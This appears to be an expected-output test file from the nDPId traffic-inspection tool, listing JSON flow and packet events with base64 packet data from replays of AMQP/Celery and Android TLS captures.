+00422{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":152388,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA01sJAAEAGZP9\/AAEBfwAAARYorK7a34rgiptOuIAQDAj\/KAAAAQEICgC+2LgAvti4"} +00752{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":152478,"pkt_caplen":312,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":312,"pkt_l4_len":278,"pkt":"AAAAAAAAAAAAAAAACABFAAEqPz1AAEAG+45\/AAABfwABAayuFiiKm0642t+K4IAYAV4AHwAAAQEICgC+2LgAvti4AwABAAAA7oACfXEBKFUHZXhwaXJlc3ECTlUDdXRjcQOIVQRhcmdzcQRdcQVYAwAAADI1OXEGYVUFY2hvcmRxB05VCWNhbGxiYWNrc3EITlUIZXJyYmFja3NxCU5VB3Rhc2tzZXRxCk5VAmlkcQtVJGYzM2FhZTI3LTY5ZjQtNGY0OC1iMGJjLTJlZmRjNDU1YzEyOHEMVQdyZXRyaWVzcQ1LAFUEdGFza3EOVR9Db2duaXRvQ29yZS50YXNrcy5leGVjdXRlUG9saWN5cQ9VCXRpbWVsaW1pdHEQTk6GVQNldGFxEU5VBmt3YXJnc3ESfXETdS7O"} +00422{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":152487,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA01sNAAEAGZP5\/AAEBfwAAARYorK7a34rgiptProAQDAj\/KAAAAQEICgC+2LgAvti4"} +00992{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":152864,"pkt_caplen":491,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":491,"pkt_l4_len":457,"pkt":"AAAAAAAAAAAAAAAACABFAAHdAQZAAEAGORN\/AAEBfwAAARYorKyekqTfoHNnjIAYAXcA0gAAAQEICgC+2LgAvte2AQABAAAAHwA8ADwBNAAAAAAAAb0XAAdkZWZhdWx0B3Rhc2tzLiPOAgABAAAAhAA8AAAAAAAAAAAA7v4AHmFwcGxpY2F0aW9uL3gtcHl0aG9uLXNlcmlhbGl6ZQZiaW5hcnkAAAAAAgAkZjMzYWFlMjctNjlmNC00ZjQ4LWIwYmMtMmVmZGM0NTVjMTI4JGFiZjI3YmI1LTAxNDktM2RiZC1hMmRiLWQzNTcyYzMwOTc5MM4DAAEAAADugAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBF1xBVgDAAAAMjU5cQZhVQVjaG9yZHEHTlUJY2FsbGJhY2tzcQhOVQhlcnJiYWNrc3EJTlUHdGFza3NldHEKTlUCaWRxC1UkZjMzYWFlMjctNjlmNC00ZjQ4LWIwYmMtMmVmZGM0NTVjMTI4cQxVB3JldHJpZXNxDUsAVQR0YXNrcQ5VH0NvZ25pdG9Db3JlLnRhc2tzLmV4ZWN1dGVQb2xpY3lxD1UJdGltZWxpbWl0cRBOToZVA2V0YXERTlUGa3dhcmdzcRJ9cRN1Ls4="} +00422{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":152876,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0HMVAAEAGHv1\/AAABfwABAaysFiigc2eMnpKmiIAQDjX\/KAAAAQEICgC+2LgAvti4"} +00477{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":153745,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"AAAAAAAAAAAAAAAACABFAABaxjNAAEAGdWh\/AAABfwABAaytFihPdGlTNxAmEoAYAV7\/TgAAAQEICgC+2LgAvte2AQABAAAAHgA8ACgAAAhjZWxlcnlldg10YXNrLnJlY2VpdmVkAM4="} +00423{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":153759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0puhAAEAGlNl\/AAEBfwAAARYorK03ECYST3RpeYAQSe7\/KAAAAQEICgC+2LgAvti4"} +00554{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":153858,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"AAAAAAAAAAAAAAAACABFAACUxjRAAEAGdS1\/AAABfwABAaytFihPdGl5NxAmEoAYAV7\/iAAAAQEICgC+2LgAvti4AgABAAAAWAA8AAAAAAAAAAABQfgAEGFwcGxpY2F0aW9uL2pzb24FdXRmLTgAAAAtCGhvc3RuYW1lUwAAAB9jZWxlcnlAdGVzdC5jb2duaXRvbmV0d29ya3MuY29tAgDO"} +00450{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":156013,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AAAAAAAAAAAAAAAACABFAABJHMZAAEAGHud\/AAABfwABAaysFiigc2eMnpKmiIAYDjX\/PQAAAQEICgC+2LkAvti4AQABAAAADQA8AFAAAAAAAAG9FwDO"} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"amqp.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":7,"flow_first_seen":1490904166119,"flow_last_seen":1490904169156,"flow_tot_l4_data_len":1566,"flow_min_l4_data_len":32,"flow_max_l4_data_len":480,"flow_avg_l4_data_len":223,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.1.1","dst_ip":"127.0.0.1","src_port":5672,"dst_port":44204,"l4_proto":"tcp","ndpi": {"proto":"AMQP","breed":"Acceptable","category":"RPC"}} +00422{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":156025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0AQdAAEAGOrt\/AAEBfwAAARYorKyekqaIoHNnoYAQAXf\/KAAAAQEICgC+2LkAvti5"} +00467{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":594184,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"AAAAAAAAAAAAAAAACABFAABTPz5AAEAG\/GR\/AAABfwABAayuFiiKm0+u2t+K4IAYAV7\/RwAAAQEICgC+2SYAvti4AQABAAAAFwA8ACgAAAdkZWZhdWx0B3Rhc2tzLiMAzg=="} +00422{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":594213,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA01sRAAEAGZP1\/AAEBfwAAARYorK7a34rgiptPzYAQDAj\/KAAAAQEICgC+2SYAvtkm"} +00615{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":594408,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAPz9AAEAG+\/Z\/AAABfwABAayuFiiKm0\/N2t+K4IAYAV7\/tAAAAQEICgC+2SYAvtkmAgABAAAAhAA8AAAAAAAAAAAA7v4AHmFwcGxpY2F0aW9uL3gtcHl0aG9uLXNlcmlhbGl6ZQZiaW5hcnkAAAAAAgAkZWM1MGM2M2ItMmRjMC00OGE3LWI2OTctY2NmMmZmYTEzZjk0JGFiZjI3YmI1LTAxNDktM2RiZC1hMmRiLWQzNTcyYzMwOTc5MM4="} +00423{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":594418,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA01sVAAEAGZPx\/AAEBfwAAARYorK7a34rgiptQWYAQDAj\/KAAAAQEICgC+2SYAvtkm"} +00753{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":594523,"pkt_caplen":312,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":312,"pkt_l4_len":278,"pkt":"AAAAAAAAAAAAAAAACABFAAEqP0BAAEAG+4t\/AAABfwABAayuFiiKm1BZ2t+K4IAYAV4AHwAAAQEICgC+2SYAvtkmAwABAAAA7oACfXEBKFUHZXhwaXJlc3ECTlUDdXRjcQOIVQRhcmdzcQRdcQVYAwAAADI2M3EGYVUFY2hvcmRxB05VCWNhbGxiYWNrc3EITlUIZXJyYmFja3NxCU5VB3Rhc2tzZXRxCk5VAmlkcQtVJGVjNTBjNjNiLTJkYzAtNDhhNy1iNjk3LWNjZjJmZmExM2Y5NHEMVQdyZXRyaWVzcQ1LAFUEdGFza3EOVR9Db2duaXRvQ29yZS50YXNrcy5leGVjdXRlUG9saWN5cQ9VCXRpbWVsaW1pdHEQTk6GVQNldGFxEU5VBmt3YXJnc3ESfXETdS7O"} +00423{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":594533,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA01sZAAEAGZPt\/AAEBfwAAARYorK7a34rgiptRT4AQDAj\/KAAAAQEICgC+2SYAvtkm"} +00992{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":594895,"pkt_caplen":491,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":491,"pkt_l4_len":457,"pkt":"AAAAAAAAAAAAAAAACABFAAHdAQhAAEAGORF\/AAEBfwAAARYorKyekqaIoHNnoYAYAXcA0gAAAQEICgC+2ScAvti5AQABAAAAHwA8ADwBNAAAAAAAAb0YAAdkZWZhdWx0B3Rhc2tzLiPOAgABAAAAhAA8AAAAAAAAAAAA7v4AHmFwcGxpY2F0aW9uL3gtcHl0aG9uLXNlcmlhbGl6ZQZiaW5hcnkAAAAAAgAkZWM1MGM2M2ItMmRjMC00OGE3LWI2OTctY2NmMmZmYTEzZjk0JGFiZjI3YmI1LTAxNDktM2RiZC1hMmRiLWQzNTcyYzMwOTc5MM4DAAEAAADugAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBF1xBVgDAAAAMjYzcQZhVQVjaG9yZHEHTlUJY2FsbGJhY2tzcQhOVQhlcnJiYWNrc3EJTlUHdGFza3NldHEKTlUCaWRxC1UkZWM1MGM2M2ItMmRjMC00OGE3LWI2OTctY2NmMmZmYTEzZjk0cQxVB3JldHJpZXNxDUsAVQR0YXNrcQ5VH0NvZ25pdG9Db3JlLnRhc2tzLmV4ZWN1dGVQb2xpY3lxD1UJdGltZWxpbWl0cRBOToZVA2V0YXERTlUGa3dhcmdzcRJ9cRN1Ls4="} +00451{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":597962,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AAAAAAAAAAAAAAAACABFAABJHMdAAEAGHuZ\/AAABfwABAaysFiigc2ehnpKoMYAYDjX\/PQAAAQEICgC+2ScAvtknAQABAAAADQA8AFAAAAAAAAG9GADO"} +00423{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":597978,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0AQlAAEAGOrl\/AAEBfwAAARYorKyekqgxoHNntoAQAXf\/KAAAAQEICgC+2ScAvtkn"} +01025{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904170,"pkt_ts_usec":123449,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"AAAAAAAAAAAAAAAACABFAAH0AQpAAEAGOPh\/AAEBfwAAARYorKyekqgxoHNntoAYAXcA6QAAAQEICgC+2asAvtknAQADAAAAKQA8ADwBMwAAAAAAAGF4AAhjZWxlcnlldhB3b3JrZXIuaGVhcnRiZWF0zgIAAwAAAFgAPAAAAAAAAAAAASf4ABBhcHBsaWNhdGlvbi9qc29uBXV0Zi04AAAALQhob3N0bmFtZVMAAAAfY2VsZXJ5QHRlc3QuY29nbml0b25ldHdvcmtzLmNvbQIAzgMAAwAAASd7InN3X3N5cyI6ICJMaW51eCIsICJjbG9jayI6IDM5MTczNSwgInRpbWVzdGFtcCI6IDE0OTA5MDQxNzAuMTIyNTgxLCAiaG9zdG5hbWUiOiAiY2VsZXJ5QHRlc3QuY29nbml0b25ldHdvcmtzLmNvbSIsICJwaWQiOiAxODk0LCAic3dfdmVyIjogIjMuMS4xOCIsICJ1dGNvZmZzZXQiOiAwLCAibG9hZGF2ZyI6IFswLjc4LCAwLjU2LCAwLjQyXSwgInByb2Nlc3NlZCI6IDExMzk0NCwgImFjdGl2ZSI6IDAsICJmcmVxIjogMi4wLCAidHlwZSI6ICJ3b3JrZXItaGVhcnRiZWF0IiwgInN3X2lkZW50IjogInB5LWNlbGVyeSJ9zg=="} +00468{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904170,"pkt_ts_usec":135237,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"AAAAAAAAAAAAAAAACABFAABTP0FAAEAG\/GF\/AAABfwABAayuFiiKm1FP2t+K4IAYAV7\/RwAAAQEICgC+2a4AvtkmAQABAAAAFwA8ACgAAAdkZWZhdWx0B3Rhc2tzLiMAzg=="} +00423{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904170,"pkt_ts_usec":135251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA01sdAAEAGZPp\/AAEBfwAAARYorK7a34rgiptRboAQDAj\/KAAAAQEICgC+2a4Avtmu"} +00615{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904170,"pkt_ts_usec":135362,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAP0JAAEAG+\/N\/AAABfwABAayuFiiKm1Fu2t+K4IAYAV7\/tAAAAQEICgC+2a4AvtmuAgABAAAAhAA8AAAAAAAAAAAA7v4AHmFwcGxpY2F0aW9uL3gtcHl0aG9uLXNlcmlhbGl6ZQZiaW5hcnkAAAAAAgAkNTRhOTE1NGEtMTZiNC00NGFkLTg5OWYtNmMzNjI5YzNiNGVlJGFiZjI3YmI1LTAxNDktM2RiZC1hMmRiLWQzNTcyYzMwOTc5MM4="} +00993{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904170,"pkt_ts_usec":135718,"pkt_caplen":491,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":491,"pkt_l4_len":457,"pkt":"AAAAAAAAAAAAAAAACABFAAHdAQtAAEAGOQ5\/AAEBfwAAARYorKyekqnxoHNntoAYAXcA0gAAAQEICgC+2a4AvtknAQABAAAAHwA8ADwBNAAAAAAAAb0ZAAdkZWZhdWx0B3Rhc2tzLiPOAgABAAAAhAA8AAAAAAAAAAAA7v4AHmFwcGxpY2F0aW9uL3gtcHl0aG9uLXNlcmlhbGl6ZQZiaW5hcnkAAAAAAgAkNTRhOTE1NGEtMTZiNC00NGFkLTg5OWYtNmMzNjI5YzNiNGVlJGFiZjI3YmI1LTAxNDktM2RiZC1hMmRiLWQzNTcyYzMwOTc5MM4DAAEAAADugAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBF1xBVgDAAAAMjYycQZhVQVjaG9yZHEHTlUJY2FsbGJhY2tzcQhOVQhlcnJiYWNrc3EJTlUHdGFza3NldHEKTlUCaWRxC1UkNTRhOTE1NGEtMTZiNC00NGFkLTg5OWYtNmMzNjI5YzNiNGVlcQxVB3JldHJpZXNxDUsAVQR0YXNrcQ5VH0NvZ25pdG9Db3JlLnRhc2tzLmV4ZWN1dGVQb2xpY3lxD1UJdGltZWxpbWl0cRBOToZVA2V0YXERTlUGa3dhcmdzcRJ9cRN1Ls4="} +00423{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904170,"pkt_ts_usec":135886,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0HMhAAEAGHvp\/AAABfwABAaysFiigc2e2npKrmoAQDjX\/KAAAAQEICgC+2a4Avtmr"} +00993{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904170,"pkt_ts_usec":155347,"pkt_caplen":491,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":491,"pkt_l4_len":457,"pkt":"AAAAAAAAAAAAAAAACABFAAHdAQxAAEAGOQ1\/AAEBfwAAARYorKyekquaoHNntoAYAXcA0gAAAQEICgC+2bMAvtmuAQABAAAAHwA8ADwBNAAAAAAAAb0aAAdkZWZhdWx0B3Rhc2tzLiPOAgABAAAAhAA8AAAAAAAAAAAA7v4AHmFwcGxpY2F0aW9uL3gtcHl0aG9uLXNlcmlhbGl6ZQZiaW5hcnkAAAAAAgAkOTJiZGYxYTItYjM4Ni00NDE3LWIzNTEtMzRlZDYyMDk2ODI3JGFiZjI3YmI1LTAxNDktM2RiZC1hMmRiLWQzNTcyYzMwOTc5MM4DAAEAAADugAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBF1xBVgDAAAAMjYxcQZhVQVjaG9yZHEHTlUJY2FsbGJhY2tzcQhOVQhlcnJiYWNrc3EJTlUHdGFza3NldHEKTlUCaWRxC1UkOTJiZGYxYTItYjM4Ni00NDE3LWIzNTEtMzRlZDYyMDk2ODI3cQxVB3JldHJpZXNxDUsAVQR0YXNrcQ5VH0NvZ25pdG9Db3JlLnRhc2tzLmV4ZWN1dGVQb2xpY3lxD1UJdGltZWxpbWl0cRBOToZVA2V0YXERTlUGa3dhcmdzcRJ9cRN1Ls4="} diff --git a/test/results/android.pcap.out b/test/results/android.pcap.out new file mode 100644 index 000000000..6e1de9330 --- /dev/null +++ b/test/results/android.pcap.out @@ -0,0 +1,584 @@ +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"android.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1582454769772,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":1,"l3_proto":"ip4","src_ip":"95.101.24.53","dst_ip":"192.168.2.17","src_port":443,"dst_port":50677,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454769,"pkt_ts_usec":772338,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"xGGLNYKpxiwDYGpkCABFAABMMy4AADUGGCtfZRg1wKgCEQG7xfVNnd4qbhnKg4AYAUXNDgAAAQEICmx+XigR4ZkoFwMDABMwxZA0Xbk6ucnG2OFNZYAG8R1y"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"android.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1582454779631,"flow_last_seen":0,"flow_tot_l4_data_len":78,"flow_min_l4_data_len":78,"flow_max_l4_data_len":78,"flow_avg_l4_data_len":78,"midstream":1,"l3_proto":"ip4","src_ip":"17.248.176.75","dst_ip":"192.168.2.17","src_port":443,"dst_port":50584,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454779,"pkt_ts_usec":631132,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"xGGLNYKpxiwDYGpkCABFAgBirQcAAC4GWpAR+LBLwKgCEQG7xZj0WotEsqX09IAYBCokkgAAAQEIClsVyooR3+x3FwMDACkAAAAAAAAABGgk1MfD1SR1H5v5Q6dSq6XAgQAjDJnQ9jro2uiXnku8Hg=="} +00466{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454779,"pkt_ts_usec":631208,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xGGLNYKpxiwDYGpkCABFAgBTrQgAAC4GWp4R+LBLwKgCEQG7xZj0WotysqX09IAZBCpyhAAAAQEIClsVyooR3+x3FQMDABoAAAAAAAAABZSZBhugqn7IvMs7ScmDJ6yQxA=="} +00491{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4,"source":"android.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1582454769772,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":1,"l3_proto":"ip4","src_ip":"95.101.24.53","dst_ip":"192.168.2.17","src_port":443,"dst_port":50677,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00472{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":4,"source":"android.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1582454769772,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":1,"l3_proto":"ip4","src_ip":"95.101.24.53","dst_ip":"192.168.2.17","src_port":443,"dst_port":50677,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454779,"pkt_ts_usec":931221,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBrQkAAC4GWnER+LBLwKgCEQG7xZj0WotEsqX09IAZBCq7DgAAAQEIClsVy7YR3+x3FwMDACkAAAAAAAAABGgk1MfD1SR1H5v5Q6dSq6XAgQAjDJnQ9jro2uiXnku8HhUDAwAaAAAAAAAAAAWUmQYboKp+yLzLO0nJgyeskMQ="} +00529{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454780,"pkt_ts_usec":571276,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"xGGLNYKpxiwDYGpkCABFAACBrQoAAC4GWnAR+LBLwKgCEQG7xZj0WotEsqX09IAZBCq4jgAAAQEIClsVzjYR3+x3FwMDACkAAAAAAAAABGgk1MfD1SR1H5v5Q6dSq6XAgQAjDJnQ9jro2uiXnku8HhUDAwAaAAAAAAAAAAWUmQYboKp+yLzLO0nJgyeskMQ="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"android.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1582454780612,"flow_last_seen":0,"flow_tot_l4_data_len":78,"flow_min_l4_data_len":78,"flow_max_l4_data_len":78,"flow_avg_l4_data_len":78,"midstream":1,"l3_proto":"ip4","src_ip":"17.248.176.75","dst_ip":"192.168.2.17","src_port":443,"dst_port":50580,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 